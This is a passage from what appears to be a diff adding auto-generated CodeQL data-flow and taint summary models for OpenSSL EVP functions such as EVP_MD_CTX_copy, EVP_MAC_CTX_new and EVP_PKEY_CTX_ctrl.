"EVP_KEM_get0_provider", "(const EVP_KEM *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_provider", "(const EVP_KEM *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_names_do_all", "(const EVP_KEM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_description", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_description", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_name", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_name", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_provider", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_provider", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_names_do_all", "(const EVP_KEYEXCH *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_description", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_description", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_name", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_name", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_provider", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_provider", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_names_do_all", "(const EVP_KEYMGMT *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_get0_mac", "(EVP_MAC_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_get0_mac", "(EVP_MAC_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_new", "(EVP_MAC *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_new", "(EVP_MAC *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_description", "(const EVP_MAC *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_description", "(const EVP_MAC *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_name", "(const EVP_MAC *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_name", "(const EVP_MAC *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_provider", "(const EVP_MAC *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_provider", "(const EVP_MAC *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_names_do_all", "(const EVP_MAC *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_clear_flags", "(EVP_MD_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**reqdigest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*reqdigest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get1_md", "(EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get1_md", "(EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get_pkey_ctx", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**pctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get_pkey_ctx", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*pctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get_size_ex", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**reqdigest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*reqdigest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_flags", "(EVP_MD_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_pkey_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**pctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_pkey_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *)", "", "Argument[1]", "Argument[*0].Field[*pctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_update_fn", "(EVP_MD_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*update]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_test_flags", "(const EVP_MD_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_test_flags", "(const EVP_MD_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_update_fn", "(EVP_MD_CTX *)", "", "Argument[*0].Field[*update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_description", "(const EVP_MD *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_description", "(const EVP_MD *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_name", "(const EVP_MD *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_name", "(const EVP_MD *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_provider", "(const EVP_MD *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_provider", "(const EVP_MD *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_block_size", "(const EVP_MD *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_flags", "(const EVP_MD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_pkey_type", "(const EVP_MD *)", "", "Argument[*0].Field[*pkey_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_size", "(const EVP_MD *)", "", "Argument[*0].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_type", "(const EVP_MD *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_dup", "(const EVP_MD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MD_meth_dup", "(const EVP_MD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_app_datasize", "(const EVP_MD *)", "", "Argument[*0].Field[*ctx_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_cleanup", "(const EVP_MD *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_copy", "(const EVP_MD *)", "", "Argument[*0].Field[*copy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_ctrl", "(const EVP_MD *)", "", "Argument[*0].Field[*md_ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_final", "(const EVP_MD *)", "", "Argument[*0].Field[*final]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_flags", "(const EVP_MD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_init", "(const EVP_MD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_input_blocksize", "(const EVP_MD *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_result_size", "(const EVP_MD *)", "", "Argument[*0].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_update", "(const EVP_MD *)", "", "Argument[*0].Field[*update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_new", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_new", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*pkey_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_app_datasize", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_cleanup", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_copy", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_ctrl", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*md_ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_final", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_flags", "(EVP_MD *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_init", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_input_blocksize", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*block_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_result_size", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*md_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_update", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*update]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_names_do_all", "(const EVP_MD *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PBE_get", "(int *,int *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EVP_PBE_get", "(int *,int *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_PKCS82PKEY", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EVP_PKCS82PKEY_ex", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_hkdf_info", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_add1_tls1_prf_seed", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[**5]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl", "(EVP_PKEY_CTX *,int,int,int,int,void *)", "", "Argument[5]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_str", "(EVP_PKEY_CTX *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_uint64", "(EVP_PKEY_CTX *,int,int,int,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_ctrl_uint64", "(EVP_PKEY_CTX *,int,int,int,uint64_t)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_dup", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_libctx", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_libctx", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_peerkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**peerkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_peerkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*peerkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_pkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[**pkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_pkey", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*pkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_propq", "(const EVP_PKEY_CTX *)", "", "Argument[*0].Field[**propquery]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_propq", "(const EVP_PKEY_CTX *)", "", "Argument[*0].Field[*propquery]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_provider", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get0_provider", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get1_id_len", "(EVP_PKEY_CTX *,size_t *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_algor", "(EVP_PKEY_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_app_data", "(EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_cb", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*pkey_gencb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_data", "(const EVP_PKEY_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", 